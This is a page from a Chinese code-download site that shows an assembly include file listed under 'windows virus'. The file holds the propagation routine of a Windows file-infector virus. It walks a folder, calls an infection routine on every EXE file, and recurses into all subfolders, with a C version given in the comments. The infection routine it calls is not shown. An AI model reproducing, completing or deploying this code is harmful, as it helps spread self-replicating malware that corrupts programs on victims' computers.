⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 _infectfolder.inc

📁 windows virus
💻 INC
字号:
;###########################################################################
;#			感染指定文件夹内的所有 EXE 文件			   #
;###########################################################################
;#			       相比下的C算法				   #
;###########################################################################
;#	void _InfectFolder( char * lpszFolder ) {			   #			
;#	    HANDLE hFind ;						   #
;#	    WIN32_FIND_DATA	stFindData;				   #
;#	    BYTE  pBuffer[MAX_PATH];					   #
;#	    wsprintf( pBuffer , "%s\\*.exe" , lpszFolder );		   #
;#	    hFind = FindFirstFile( pBuffer , &stFindData );		   #
;#	    if( hFind != INVALID_HANDLE_VALUE ) {			   #
;#	        do {							   #
;#		    wsprintf( pBuffer , "%s\\%s" , lpszFolder , 	   #
;#			      stFindData.cFileName );			   #
;#		    /* 调用感染文件模块*/				   #
;#		    _InfectFile( pBuffer );				   #
;#		} while( FindNextFile( hFind , &stFindData ) );		   #
;#		FindClose( hFind );					   #
;#	    }								   #
;#									   #
;#	    wsprintf( pBuffer , "%s\\*.*" , lpszFolder );		   #
;#	    hFind = FindFirstFile( pBuffer , &stFindData );		   #
;#				  					   #
;#	    if( hFind != INVALID_HANDLE_VALUE ) {			   #
;#	        do {							   #
;#		    if( stFindData.dwFileAttributes & 			   #
;#		        FILE_ATTRIBUTE_DIRECTORY			   #
;#			!= FILE_ATTRIBUTE_DIRECTORY )			   #
;#			    continue;					   #
;#		    if( lstrcmpi( ".." , stFindData.cFileName ) == 0 ||	   #
;#			lstrcmpi( "." , stFindData.cFileName ) == 0 )	   #
;#			continue;					   #
;#		    wsprintf( pBuffer , "%s\\%s" , lpszFolder ,		   #
;#			      stFindData.cFileName );			   #
;#		    /* 深入感染子文件夹 */				   #
;#		    _InfectFolder( pBuffer );				   #
;#		} while( FindNextFile( hFind , &stFindData ) );	 	   #
;#		FindClose( hFind );			  		   #
;#	    }							  	   #
;#	}			 					   #
;###########################################################################
	_InfectFolder	PROC	_szFolder
		LOCAL	@hFind : HANDLE
		LOCAL	@stFindData : WIN32_FIND_DATA
		LOCAL	@pBuffer[MAX_PATH] : BYTE
		PUSHAD
	;########################################
	;#	处理所有的EXE文件		#
	;########################################
		LEA	EAX , @stFindData
		PUSH	EAX
		LEA	EDX , @pBuffer
		PUSH	EDX

		;########################################
		;#  	生成要查找的文件格式		#
		;#	wsprintf( pBuffer , 		#
		;#		  "%s\*.exe" ,   	#
		;#		  szFolder );		#
		;#	由于此函数是C方式调用,所以调用	#
		;#	后由调用者恢复堆栈		#
		;########################################
		LEA	EAX , [EBX + G_szExeTail]
		PUSH	EAX	;%s ;2 		ESP = ESP - 4
		PUSH	_szFolder; %s ;1	ESP = ESP - 4
		LEA	EAX , [EBX + G_szConstructFormat]
		PUSH	EAX	;szFmt 		ESP = ESP - 4
		PUSH	EDX	;pBuffer 	ESP = ESP - 4
		CALL	[EBX + G_pWSprintf]
		ADD	ESP , 10H
		
		CALL	[EBX + G_pFindFirstFile]
		INC	EAX
		JZ	@_File_End
		DEC	EAX
		
		MOV	@hFind , EAX
		
	@_Deal_File:
		
		LEA	EDX , @pBuffer
		PUSH	EDX
		
		LEA	EAX , @stFindData.cFileName
		PUSH	EAX
		PUSH	_szFolder
		LEA	EAX , [EBX + G_szConstructFormat]
		PUSH	EAX
		PUSH	EDX
		
		CALL	[EBX + G_pWSprintf]
		ADD	ESP , 10H
		
		LEA	EAX , [EBX + _InfectFile]
		CALL	EAX
		
		LEA	EAX , @stFindData
		PUSH	EAX
		PUSH	@hFind
		CALL	[EBX + G_pFindNextFile]
		OR	EAX , EAX
		
		JNE	@_Deal_File
		PUSH	@hFind
		CALL	[EBX + G_pFindClose]
	@_File_End:
	;########################################
	;#	处理所有的子文件夹		#
	;########################################
		;入栈 FindFirstFile 的参数
		LEA	EAX , @stFindData
		PUSH	EAX
		LEA	EDX , @pBuffer
		PUSH	EDX	
		;生成 FindFirstFile 中  lpFileName
		LEA	EAX , [EBX + G_szFolderTail]
		PUSH	EAX	;%s ;2 		ESP = ESP - 4
		PUSH	_szFolder; %s ;1	ESP = ESP - 4
		LEA	EAX , [EBX + G_szConstructFormat]
		PUSH	EAX	;szFmt 		ESP = ESP - 4
		PUSH	EDX	;pBuffer 	ESP = ESP - 4
		CALL	[EBX + G_pWSprintf]
		ADD	ESP , 10H
		
		CALL	[EBX + G_pFindFirstFile]
		INC	EAX
		JZ	@_Folder_End
		DEC	EAX
		
		MOV	@hFind , EAX
		
	@_DealFolder:
		MOV	EAX , @stFindData.dwFileAttributes
		AND	EAX , FILE_ATTRIBUTE_DIRECTORY
		JZ	@_Folder_Continue
		LEA	EAX , @stFindData.cFileName
		CMP	WORD PTR [EAX] , 02E2EH	;'..'
		JE	@_Folder_Continue
		CMP	BYTE PTR [EAX] , 02EH	;'.'
		JE	@_Folder_Continue
		
		LEA	EDX , @pBuffer
		PUSH	EDX
		
		LEA	EAX , @stFindData.cFileName
		PUSH	EAX
		PUSH	_szFolder
		LEA	EAX , [EBX + G_szConstructFormat]
		PUSH	EAX
		PUSH	EDX
		
		CALL	[EBX + G_pWSprintf]
		ADD	ESP , 10H
		
		LEA	EAX , [EBX + _InfectFolder]
		CALL	EAX
	@_Folder_Continue:
		LEA	EAX , @stFindData
		PUSH	EAX
		PUSH	@hFind
		CALL	[EBX + G_pFindNextFile]
		OR	EAX , EAX
		JNZ	@_DealFolder
		PUSH	@hFind
		CALL	[EBX + G_pFindClose]	
	@_Folder_End:
		POPAD
		RET
	_InfectFolder endp
;###########################################################################
;#				感染文件夹结束			   	   #
;###########################################################################

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -